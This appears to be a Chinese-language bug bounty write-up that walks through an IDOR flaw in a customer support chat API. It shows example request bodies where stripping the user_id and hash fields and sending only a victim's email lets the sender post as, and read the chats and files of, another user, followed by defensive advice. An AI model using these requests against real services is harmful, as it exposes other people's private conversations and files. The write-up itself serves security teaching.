挖洞经验丨客户支持聊天系统中的IDOR漏洞($5,000)
字数 1187 2025-08-18 11:38:32

客户支持聊天系统中的IDOR漏洞分析与利用教学

漏洞概述

本教学文档详细分析了一个客户支持聊天系统中存在的IDOR(不安全的直接对象引用)漏洞,该漏洞被评为严重级别(Critical),获得了$5000美金的奖励。通过此漏洞,攻击者可以:

  • 读取任意用户的聊天消息
  • 以任意用户身份发送消息
  • 下载任意用户的相关文件

漏洞发现过程

初始请求分析

在客户支持聊天窗口中,用户发送消息时后台会产生如下请求:

POST /messenger/web/conversations HTTP/1.1
{
  "text": "testing by john wick2!",
  "user_id": "12345",
  "email": "user@example.com",
  "user_hash": "a1b2c3d4e5f6",
  "anonymous_id": "xyz789",
  "blocks": []
}

服务端响应示例:

{
  "id": "67890",
  "text": "testing by john wick2!",
  "user_id": "12345",
  "email": "user@example.com"
}

漏洞测试步骤

测试1:替换user_id参数

将请求中的user_id参数替换为其他用户的ID值:

  • 结果:服务端返回解析错误
  • 结论:直接修改user_id被检测到

测试2:删除user_hash参数

仅删除user_hash参数值:

  • 响应:"基于用户身份验证机制,必须对用户进行哈希值验证"
  • 结论:哈希验证是强制的,与user_id有映射关系

测试3:同时删除user_id和user_hash

删除这两个参数:

  • 响应:与测试2相同 - "User hash is invalid"
  • 结论:系统仍然依赖其他验证机制

测试4:删除user_id、user_hash和anonymous_id

仅保留email参数:

POST /messenger/web/conversations HTTP/1.1
{
  "text": "hello this jaya222",
  "email": "user@example.com",
  "blocks": []
}
  • 结果:成功发送消息并获得有效响应
  • 结论:系统仅通过email参数验证用户身份,存在IDOR漏洞

漏洞利用(PoC)

消息发送利用

构造仅含email参数的请求:

POST /messenger/web/conversations HTTP/1.1
{
  "text": "攻击测试消息",
  "email": "victim@example.com",
  "blocks": []
}
  • 效果:可以victim用户身份发送消息

会话内容获取

  1. 首先通过短URL获取用户ID:

    POST /messenger/web/conversations
    {
      "email": "victim@example.com"
    }
    
    • 响应中包含用户ID
  2. 使用获取的ID构造请求:

    GET /messenger/web/conversations/[conversation-id]
    
    • 效果:获取victim用户的全部会话内容

文件操作

通过类似方式可以:

  1. 以victim用户身份上传文件
  2. 下载victim用户的文件资料

漏洞原理分析

该漏洞的根本原因在于:

  1. 后端系统错误地将email参数作为唯一身份验证凭据
  2. 缺乏对其他参数的必要性验证
  3. 访问控制机制存在缺陷,未实施最小权限原则

防御建议

  1. 实施全面的身份验证

    • 不应仅依赖单个参数进行身份验证
    • 实现多因素验证机制
  2. 严格的访问控制

    • 实施基于角色的访问控制(RBAC)
    • 每次请求都应验证会话令牌
  3. 参数完整性检查

    • 验证所有必需参数的存在和有效性
    • 实现参数间的关联性验证
  4. 使用间接引用映射

    • 避免直接使用数据库ID作为引用
    • 使用临时令牌或UUID替代
  5. 日志记录与监控

    • 记录所有敏感操作
    • 监控异常参数组合

测试方法论总结

  1. 不要因初步测试失败而放弃
  2. IDOR测试应包括:
    • 参数值替换
    • 参数删除测试
    • 参数组合测试
  3. 重点关注所有与用户身份相关的参数
  4. 系统可能通过非显式参数进行身份验证

通过本案例可以看出,IDOR漏洞不仅限于简单的参数值替换,还可能通过参数删除或特定参数组合来发现。全面系统的测试方法对于发现此类漏洞至关重要。

客户支持聊天系统中的IDOR漏洞分析与利用教学 漏洞概述 本教学文档详细分析了一个客户支持聊天系统中存在的IDOR(不安全的直接对象引用)漏洞,该漏洞被评为严重级别(Critical),获得了$5000美金的奖励。通过此漏洞,攻击者可以: 读取任意用户的聊天消息 以任意用户身份发送消息 下载任意用户的相关文件 漏洞发现过程 初始请求分析 在客户支持聊天窗口中,用户发送消息时后台会产生如下请求: 服务端响应示例: 漏洞测试步骤 测试1:替换user_ id参数 将请求中的 user_id 参数替换为其他用户的ID值: 结果 :服务端返回解析错误 结论 :直接修改user_ id被检测到 测试2:删除user_ hash参数 仅删除 user_hash 参数值: 响应 :"基于用户身份验证机制,必须对用户进行哈希值验证" 结论 :哈希验证是强制的,与user_ id有映射关系 测试3:同时删除user_ id和user_ hash 删除这两个参数: 响应 :与测试2相同 - "User hash is invalid" 结论 :系统仍然依赖其他验证机制 测试4:删除user_ id、user_ hash和anonymous_ id 仅保留 email 参数: 结果 :成功发送消息并获得有效响应 结论 :系统仅通过email参数验证用户身份,存在IDOR漏洞 漏洞利用(PoC) 消息发送利用 构造仅含email参数的请求: 效果 :可以victim用户身份发送消息 会话内容获取 首先通过短URL获取用户ID: 响应中包含用户ID 使用获取的ID构造请求: 效果 :获取victim用户的全部会话内容 文件操作 通过类似方式可以: 以victim用户身份上传文件 下载victim用户的文件资料 漏洞原理分析 该漏洞的根本原因在于: 后端系统错误地将 email 参数作为唯一身份验证凭据 缺乏对其他参数的必要性验证 访问控制机制存在缺陷,未实施最小权限原则 防御建议 实施全面的身份验证 : 不应仅依赖单个参数进行身份验证 实现多因素验证机制 严格的访问控制 : 实施基于角色的访问控制(RBAC) 每次请求都应验证会话令牌 参数完整性检查 : 验证所有必需参数的存在和有效性 实现参数间的关联性验证 使用间接引用映射 : 避免直接使用数据库ID作为引用 使用临时令牌或UUID替代 日志记录与监控 : 记录所有敏感操作 监控异常参数组合 测试方法论总结 不要因初步测试失败而放弃 IDOR测试应包括: 参数值替换 参数删除测试 参数组合测试 重点关注所有与用户身份相关的参数 系统可能通过非显式参数进行身份验证 通过本案例可以看出,IDOR漏洞不仅限于简单的参数值替换,还可能通过参数删除或特定参数组合来发现。全面系统的测试方法对于发现此类漏洞至关重要。